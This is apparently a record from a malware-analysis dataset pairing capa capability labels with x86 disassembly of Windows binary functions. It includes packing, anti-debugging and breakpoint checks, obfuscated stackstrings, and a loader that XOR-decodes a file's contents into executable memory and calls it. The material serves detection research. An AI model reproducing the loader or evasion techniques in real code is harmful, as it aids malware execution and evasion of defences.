joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44fed0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp byte [esi + 0x2d], 0
push edi
mov edi, dword [ebp + 0xc]
mov eax, ebx
je 0x44ffbb
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44ff07
cmp dword [esi + 0x40], edi
jae 0x44ff07
push eax
call fcn.0045024c
add esp, 4
mov dword [esi + 0x3c], 0
cmp dword [esi + 0x3c], 0
jne 0x44ff1f
lea eax, [edi + edi]
push eax
call fcn.00450241
add esp, 4
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
mov ecx, dword [esi + 0x3c]
push edi
push ebx
push ecx
call fcn.00475820
add esp, 0xc
xor ebx, ebx
test edi, edi
jbe 0x44ffb8
mov edx, dword [esi + 0x3c]
mov cl, byte [ebx + edx]
mov edi, dword [esi + 0x30]
mov byte [ebp + 8], cl
movsx ecx, cl
xor ecx, edi
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x50f670]
mov dword [ebp - 4], ecx
mov eax, dword [esi + 0x38]
shr edi, 8
xor dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
mov dword [esi + 0x30], ecx
movzx ecx, cl
add ecx, dword [esi + 0x34]
mov edx, eax
imul ecx, ecx, 0x8088405
inc ecx
mov dword [esi + 0x34], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x50f670]
and edx, 0xfffd
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x3c]
or edx, 2
mov eax, edx
xor eax, 1
imul eax, edx
shr eax, 8
xor al, byte [ebp + 8]
inc ebx
mov byte [ebx + ecx - 1], al
cmp ebx, dword [ebp + 0xc]
jb 0x44ff37
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x20]
test edx, edx
je 0x44fffa
mov ecx, dword [esi + 0x24]
lea ebx, [ecx + edi]
cmp ebx, dword [esi + 0x28]
jb 0x44ffdf
pop edi
mov dword [esi + 0x14], 0x30000
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
push eax
add ecx, edx
push ecx
call fcn.00475820
add esp, 0xc
add dword [esi + 0x24], edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x45001c
push 0
lea edx, [ebp + 0xc]
push edx
push edi
push eax
push ecx
call 0x100a19a
pop edi
mov dword [esi + 0x14], 0x1000000
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x487490
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x4874a5
xor eax, eax
jmp 0x48751a
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x10000
mov dword [ebp - 8], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
jmp 0x4874d2
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x38d
jae 0x487515
mov edx, dword [ebp - 0x10]
imul edx, edx, 0x48
mov eax, dword [ebp - 0xc]
cmp dword [eax + edx + 0x40], 0
je 0x487513
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 4]
jb 0x48750f
mov ecx, dword [ebp - 0x10]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 8]
jb 0x487513
xor eax, eax
jmp 0x48751a
jmp 0x4874c9
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x487f70
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004867f0
add esp, 0xc
mov dword [ebp - 0x10], 0
cmp dword [0x527620], 0
jne 0x487fad
cmp dword [0x52761c], 0
je 0x487fad
mov eax, dword [0x52761c]
mov dword [0x527620], eax
cmp dword [0x527620], 0
je 0x48802a
mov ecx, dword [0x527620]
cmp dword [ecx + 8], 0
je 0x48802a
mov edx, dword [0x527620]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 8]
jb 0x48802a
mov ecx, dword [0x527620]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x48802a
mov eax, dword [0x527620]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 8]
jb 0x487ff9
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jbe 0x488000
xor eax, eax
jmp 0x48814d
mov ecx, dword [0x527620]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004737c0
add esp, 0xc
mov eax, dword [ebp - 0x10]
jmp 0x48814d
mov edx, dword [0x52761c]
mov dword [0x527620], edx
jmp 0x488046
mov eax, dword [0x527620]
mov ecx, dword [eax + 4]
mov dword [0x527620], ecx
cmp dword [0x527620], 0
je 0x488086
cmp dword [0x527620], 0
je 0x488084
mov edx, dword [0x527620]
cmp dword [edx + 8], 0
je 0x488084
mov eax, dword [0x527620]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jb 0x488084
mov edx, dword [0x527620]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x488084
jmp 0x487fde
jmp 0x488038
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004868d0
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x48814b
mov eax, dword [ebp - 4]
mov dword [0x527620], eax
mov ecx, dword [0x527620]
mov dword [ecx], 0x52727464
mov edx, dword [0x527620]
mov dword [edx + 8], 0
mov eax, dword [0x527620]
mov ecx, dword [0x52761c]
mov dword [eax + 4], ecx
mov edx, dword [0x527620]
mov dword [0x52761c], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x527620]
add eax, 0x48
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x38c
jmp 0x488117
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 1
jle 0x48813b
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x48
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x48
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
jmp 0x48810e
mov eax, dword [0x527620]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x487fde
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x490380
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.004900f0
Function at 0x4dcc30
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ecx, dword [esp + 0x1c]
cmp ecx, 0
je 0x4dcded
call fcn.004dcc46

Function at 0x4dd540
Capabilities:
Encode data using xor

Disassembly:
call fcn.004dd290
cmp eax, 0
je 0x4dd54b
ret
push ebp
push ebx
push esi
push edi
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi + 0xf0]
lea ecx, [ecx*4]
lea edi, [esi + ecx*4]
nop
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [esi], ecx
mov dword [esi + 4], edx
mov eax, dword [esi + 8]
mov ebx, dword [esi + 0xc]
mov ecx, dword [edi + 8]
mov edx, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
add esi, 0x10
sub edi, 0x10
cmp esi, edi
jne 0x4dd564
mov edi, dword [esp + 0x1c]
mov esi, dword [edi + 0xf0]
lea esi, [esi + esi - 2]
lea esi, [edi + esi*8]
mov dword [esp + 0x1c], esi
mov eax, dword [edi + 0x10]
mov edi, edi
Function at 0x5334c0
Capabilities:
Packed with generic packer

Disassembly:
jmp 0x73ee86
fisttp dword [edi]
mov edi, 0xfce95bd8
push eax
mov word [eax], es
push 0xef1ea91e
call fcn.0108e166
push ebp
cmp dword [eax + 0xb76af5f], eax
push es
or byte [edi - 0x11], dh
mov bl, 0x95
pop edx
insb byte es:[edi], dx
jns 0x73ee59
invalid

Function at 0x533c1d
Capabilities:
Reference processor manufacturer constants

Disassembly:
push ebp
sbb bp, cx
bt eax, 0xd1
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x51f620]
cmp dl, 0x89
cmp esp, eax
test esp, eax
xor eax, ebp
jmp 0x10223b2
mov byte [ebp - 0x60], 0x6b
jmp 0x102a609
push 0x1f0001
jmp 0x10102c2
push 0
jmp 0x66791f
push ebx
mov eax, 1
rcr ch, cl
or ecx, esp
cpuid
push esi
sbb esi, edx
lea esi, [ebp - 0x18]
stc
cmp dl, bl
mov dword [esi], eax
mov dword [esi + 4], ebx
test ebp, 0x1dbe7b63
mov dword [esi + 8], ecx
rcr cx, 0x73
movsx ecx, cx
mov dword [esi + 0xc], edx
mov ecx, dword [ebp - 0x10]
cmc
stc
sar ecx, 0x1f
test esp, 0x5eb9128b
cmc
test cl, 1
jmp 0x769b83
mov byte [ebp - 0x56], 0x6c
jmp 0x1056a0c
call dword [0x4e7448]
mov al, 1
dec ch
sar cl, 0x99
sbb ch, 0xaf
mov ecx, dword [ebp - 4]
clc
cmp sp, 0x616f
xor ecx, ebp
jmp 0x79e9e2
mov byte [ebp - 0x34], 0x53
jmp loc.0043eeff
mov byte [ebp - 0x5a], 0x33
jmp 0xfa10dc
mov byte [ebp - 0x40], 0x54
jmp 0xf59af3
push edi
jmp 0xfe7125
mov byte [ebp - 0x5b], 0x6c
jmp 0x6c646b
mov byte [ebp - 0x3d], 0x79
jmp 0xf927ab
mov byte [ebp - 0x5e], 0x72
jmp 0x109a2a7
call fcn.0071ede7
mov edi, eax
mov eax, ebx
lea eax, [ebp - 0x38]
jmp 0x1050e56
je 0xfc7149
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov al, bh
mov eax, 0x40000000
cpuid
clc
mov dword [esi], eax
mov dword [esi + 4], ebx
jmp 0xf613b2
ret
je 0x6a5244
push eax
jmp 0x6b5145
call fcn.0046d9d8
mov esp, ebp
jmp 0x100a3bc
mov byte [ebp - 0x3f], 0x72
jmp 0xfc1a4f
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
cmp bh, 0xe9
cmp dword [ebp - 0x14], 0x7263694d
jmp fcn.00fef2c0
mov byte [ebp - 0x58], 0x2e
mov byte [ebp - 0x57], 0x64
jmp 0x6a52cc
mov byte [ebp - 0x3c], 0
jmp 0xff7516
mov byte [ebp - 0x59], 0x32
jmp 0xf757d4
mov byte [ebp - 0x42], 0x6f
jmp 0xfc24bc
mov byte [ebp - 0x3e], 0x61
jmp 0x7515f8
mov byte [ebp - 0x41], 0x78
jmp 0x6debc3
push edi
jmp 0x109b0c9
mov byte [ebp - 0x91], 0
mov byte [ebp - 0x38], 0x45
mov byte [ebp - 0x37], 0x6e
mov byte [ebp - 0x36], 0x75
jmp 0x1025cc8
call fcn.004030c0
lea eax, [ebp - 0x44]
push eax
jmp 0x685f43
pop ebp
jmp 0x793639
call fcn.00fa6e86
test eax, eax
jmp 0x79e1d4
mov dword [ebp - 4], eax
mov byte [ebp - 0x44], 0x56
mov byte [ebp - 0x43], 0x42
jmp 0xfa6385
mov byte [ebp - 0x35], 0x6d
jmp 0x6c3b8b
mov byte [ebp - 0x5f], bl
jmp 0x7557f9
push eax
jmp 0x6e4085
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 0
jmp 0x763c80
mov byte [ebp - 0x5d], 0x6e
mov byte [ebp - 0x5c], bl
jmp 0x6fbd08
lea edx, [ebp - 0x60]
not bl
mov ebx, 0x65
push edx
jmp 0x57c025
Function at 0x536c80
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x536d8c
test eax, eax
je 0x536d8c
push esi
push edi
mov ecx, 0x10
mov esi, 0x551ff0
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x536d73
lea edi, [eax + 4]
jmp 0x536cd7
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x536cec
mov dword [ebp - 4], 2
jmp 0x536d0d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x536d03
mov dword [ebp - 4], 1
jmp 0x536d0d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x536d83
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x536d46
mov byte [ecx], 0x3d
jmp 0x536d52
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x536d5d
mov byte [ecx], 0x3d
jmp 0x536d63
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x536cd4
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x59af0c
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ecx, ebx
bts bp, bx
shrd eax, ecx, 0x75
mov ebp, esp
btr ax, di
push 0xffffffffffffffff
push 0x4e5030
mov eax, dword fs:[0]
movsx cx, dl
push eax
xor eax, edi
lea esp, [esp - 0x28]
sal al, cl
push ebx
push esi
stc
dec ah
push edi
bts ax, si
jmp 0x6c38ae
push eax
jmp 0xfea218
mov byte [ebp - 4], 1
jmp 0x771449
call fcn.00446560
mov byte [ebp - 4], 2
test cx, 0x523d
mov eax, dword [ebp + 0x14]
rcr esi, 0x38
sal esi, 0xd9
push ecx
test ah, 0x33
sub esi, 0x758a1186
add eax, 0xfffffff0
movzx esi, sp
mov dword [ebp - 0x1c], esp
jmp loc.0043fc2b
mov eax, dword [0x51f620]
ror ecx, cl
xor eax, ebp
movzx ecx, cx
push eax
jmp 0x107b6c1
mov dword [ebp - 0x20], esp
push 0x5118b4
jmp 0x68308f
mov dword [ebp - 4], 0
call fcn.00465d33
push 0xffffffffffffffff
push 0
lea ecx, [ebp - 0x34]
jmp 0x674e41
call fcn.00465dda
lea eax, [ebp - 0x34]
jmp 0x5ae748
push ecx
movzx ecx, dx
mov ecx, esp
jmp 0x6e73cc
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmovnp ecx, eax
movsx cx, dl
lea ecx, [ebp - 0x34]
jmp 0x735c26

Function at 0x5cb8be
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x3db3b623
call fcn.0102c7c1
Function at 0x6c38ae
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ecx, ebx
bts bp, bx
shrd eax, ecx, 0x75
mov ebp, esp
btr ax, di
push 0xffffffffffffffff
push 0x4e5030
mov eax, dword fs:[0]
movsx cx, dl
push eax
xor eax, edi
lea esp, [esp - 0x28]
sal al, cl
push ebx
push esi
stc
dec ah
push edi
bts ax, si
jmp 0x6c38ae
push eax
jmp 0xfea218
mov byte [ebp - 4], 1
jmp 0x771449
call fcn.00446560
mov byte [ebp - 4], 2
test cx, 0x523d
mov eax, dword [ebp + 0x14]
rcr esi, 0x38
sal esi, 0xd9
push ecx
test ah, 0x33
sub esi, 0x758a1186
add eax, 0xfffffff0
movzx esi, sp
mov dword [ebp - 0x1c], esp
jmp loc.0043fc2b
mov eax, dword [0x51f620]
ror ecx, cl
xor eax, ebp
movzx ecx, cx
push eax
jmp 0x107b6c1
mov dword [ebp - 0x20], esp
push 0x5118b4
jmp 0x68308f
mov dword [ebp - 4], 0
call fcn.00465d33
push 0xffffffffffffffff
push 0
lea ecx, [ebp - 0x34]
jmp 0x674e41
call fcn.00465dda
lea eax, [ebp - 0x34]
jmp 0x5ae748
push ecx
movzx ecx, dx
mov ecx, esp
jmp 0x6e73cc
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmovnp ecx, eax
movsx cx, dl
lea ecx, [ebp - 0x34]
jmp 0x735c26
Function at 0x7009e5
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
adc esi, ecx
test edx, 0x6bae4236
pop esi
not cl
mov ecx, dword [ebp - 4]
xor ecx, ebp
jmp loc.006c9948
je 0x42830f
test esi, esi
jmp 0x75948a
push ebp
btc ax, sp
mov ebp, esp
add ecx, 0x34536c3d
sub esp, 0x120
btr ecx, 0x88
cmovae ax, cx
mov eax, dword [0x51f620]
movzx cx, ah
test esp, edx
xor eax, ebp
mov dword [ebp - 4], eax
rol ecx, cl
mov ecx, dword [ebp + 8]
cmp bx, 0x4531
test dl, 0xcc
push esi
inc si
xadd esi, esi
mov esi, dword [ebp + 0xc]
test ebp, edx
cmc
mov dword [ebp - 0x120], esi
test ecx, ecx
jmp 0x5a7def
je 0x42830f
mov eax, 0x5a4d
stc
cmp ebp, 0x76891961
cmp word [ecx], ax
jmp fcn.00428309

Function at 0x751665
Capabilities:
Parse pe header

Disassembly:
mov byte [ebp - 0x13], 0x2e
jmp 0x7636b4
mov byte [ebp - 0x11], 0x6c
jmp loc.0040aefb
mov byte [ebp - 0x18], 0x6e
jmp 0xf9d027
push ebp
btc ebp, edx
mov ebp, esp
neg ah
sub esp, 0x16c
xor al, bl
or ax, si
mov eax, dword [0x51f620]
xor eax, ebp
jmp 0x79da69
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
jmp 0x5a522f
mov byte [ebp - 0x12], 0x64
jmp 0x5e4c76
mov dword [ebp - 4], eax
push ebx
jmp 0xfd705f
push edi
call fcn.0058a9f6
lea eax, [ebp - 0x18]
push eax
jmp 0x721d9e
mov byte [ebp - 0x16], 0x64
jmp 0x760c34
mov byte [ebp - 0x17], 0x74
jmp 0xf5e2bc
push esi
jmp 0xf5b44f
Function at 0xf57308
Capabilities:
Check for software breakpoints
Check http status code
Encode data using base64
Parse pe header

Disassembly:
push eax
lea eax, [ebp - 0xc]
jmp 0x1015f3d
mov dword [ebp - 0x10], eax
jmp 0x10a3e78
push edi
jmp 0x5a32c3
push ebp
stc
and bp, bp
mov ebp, esp
sub eax, 0xccf7c6c
or eax, esp
push 0xffffffffffffffff
test esi, ebx
shr ah, 0xcc
push 0x4e38ab
mov eax, dword fs:[0]
push eax
xor ax, 0x4592
cwde
sub esp, 0x2c4
btc ax, 0xc5
mov eax, dword [0x51f620]
xor eax, ebp
jmp 0x5bfe3a
mov dword [ebp - 0x2cc], eax
jmp loc.00432e40
mov dword fs:[0], eax
lahf
movsx eax, ax
mov eax, dword [ebp + 8]
jmp 0xff3898
push ebx
push esi
jmp 0x5ef23c
Function at 0x108b993
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
jmp 0x76c2f0
push edi
mov di, 0x6601
mov edi, ecx
jmp 0x100667e
mov byte [ebp - 0x19], al
mov byte [ebp - 0x18], al
jmp 0x101de33
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], al
jmp 0x7871e4
mov cl, 0x69
jmp 0xfdc807
mov byte [ebp - 0xd6], al
mov al, 0x73
jmp loc.00429273
push ebp
bt bp, dx
shl dl, cl
mov ebp, esp
sub esp, 0x160
sar al, cl
movsx ax, al
mov eax, dword [0x51f620]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov al, 0x6c
xchg dl, bl
mov dl, 0x67
mov dl, 0x74
mov bl, cl
mov bl, 0x6f
jmp 0x61a708

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1003d360
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], 0
lea eax, [eax + eax*2]
shl eax, 3
push eax
push 0
push esi
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov ecx, dword [ebp + 0x14]
cmp dword [eax + 8], ecx
ja 0x1004d86c
push edi
xor edi, edi
test ecx, ecx
je 0x1003d47d
mov eax, dword [ebp + 0x10]
xor edx, edx
push ebx
jmp 0x1003d3b0
movzx eax, word [eax + edi*2]
mov ebx, eax
and ebx, 0xf7ff
test eax, 0x800
je 0x1004d8a1
mov byte [ebp - 1], 1
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
cmp edi, eax
jae 0x1004d915
test edx, edx
js 0x1004d915
mov ecx, dword [ebp + 8]
sub eax, edi
dec eax
shl eax, 4
add eax, dword [ecx]
movzx ecx, word [eax]
test ebx, 0x4000
jne 0x1004d8aa
mov edx, 0x400c
cmp cx, dx
je 0x1004d8e7
movzx edx, word [eax]
movzx ecx, bx
xor edx, ecx
test edx, 0xffffbfff
je 0x1003d43a
mov ecx, 0xc
cmp cx, bx
je 0x1003d43a
cmp word [eax], 0xa
jne 0x1004d8fe
cmp dword [eax + 8], 0x80020004
jne 0x1004d8fe
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 8]
mov dword [esi + 8], ecx
mov eax, dword [eax + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 8]
test eax, eax
js 0x1003d467
cmp word [esi], 0xa
jne 0x1003d467
mov byte [esi + 0x11], 1
cmp byte [ebp - 1], 0
je 0x1003d488
mov eax, dword [ebp + 0x10]
inc edi
add esi, 0x18
cmp edi, ecx
jb 0x1003d3b0
pop ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
cmp byte [esi + 0x11], 0
je 0x1003d46d
jmp 0x1004d929
test byte [0x100e4068], 2
je 0x1004d897
mov eax, dword [0x100e70e8]
push 0x123
push 0x8002000e
push 0x1000a9b8
push 0x48c09
push eax
call fcn.100d931d
add esp, 0x14
mov eax, 0x8002000e
jmp 0x1003d481
mov byte [ebp - 1], 0
jmp 0x1003d3cb
test ecx, 0x4000
je 0x1004d8ce
mov edx, 0x400c
cmp cx, dx
jne 0x1004d8ca
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x1004d8ca
mov eax, ecx
cmp word [eax], dx
je 0x1004d8bc
mov ecx, edx
jmp 0x1004d8dc
mov byte [esi + 0x11], 1
mov eax, 0x80020004
mov ecx, 0xa
mov word [esi], cx
mov dword [esi + 8], eax
jmp 0x1003d450
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x1003d409
mov eax, ecx
cmp word [eax], dx
je 0x1004d8e7
jmp 0x1003d409
push ebx
push 0
push eax
push esi
mov byte [esi + 0x10], 1
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
mov dword [ebp - 8], eax
jmp 0x1003d453
mov eax, 0xa
mov dword [esi + 8], 0x80020004
mov word [esi], ax
jmp 0x1003d463
test byte [0x100e4068], 2
mov dword [ebp - 8], 0x8002000e
je 0x1004d95e
mov eax, dword [0x100e70e8]
push 0x174
push 0x8002000e
push 0x1000a9b8
push 0x5d009
push eax
call fcn.100d931d
mov ecx, dword [ebp + 0x14]
add esp, 0x14
mov edx, dword [ebp - 8]
jmp 0x1003d46d
Function at 0x1003f935
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x100e3998]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x118], 0
cmp dword [0x100e4174], 0
jne 0x1003f983
lea eax, [ebp - 0x118]
push eax
push ecx
lea ecx, [ebp - 0x114]
call fcn.1003fa79
pop ecx
pop ecx
test eax, eax
jne 0x1004f8bc
push 1
call fcn.1003f9d0
call fcn.1003f993
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10040f40
mov esp, ebp
pop ebp
ret
cmp dword [0x100e4068], 0
lea eax, [ebp - 0x114]
mov dword [0x100e3988], eax
mov byte [ebp - 7], 0
jne 0x1004f8e0
mov eax, 0xfff
push eax
push eax
call fcn.100d8f10
mov ecx, 0x100e39a0
call fcn.100d8c20
cmp dword [0x100e3008], 0x100d8f40
jne 0x1004f921
cmp dword [ebp - 0x118], 0
je 0x1004f921
push 0x10035838
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push dword [0x100e3988]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x10035840
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [0x100e3988], 0x10035858
jmp 0x1003f983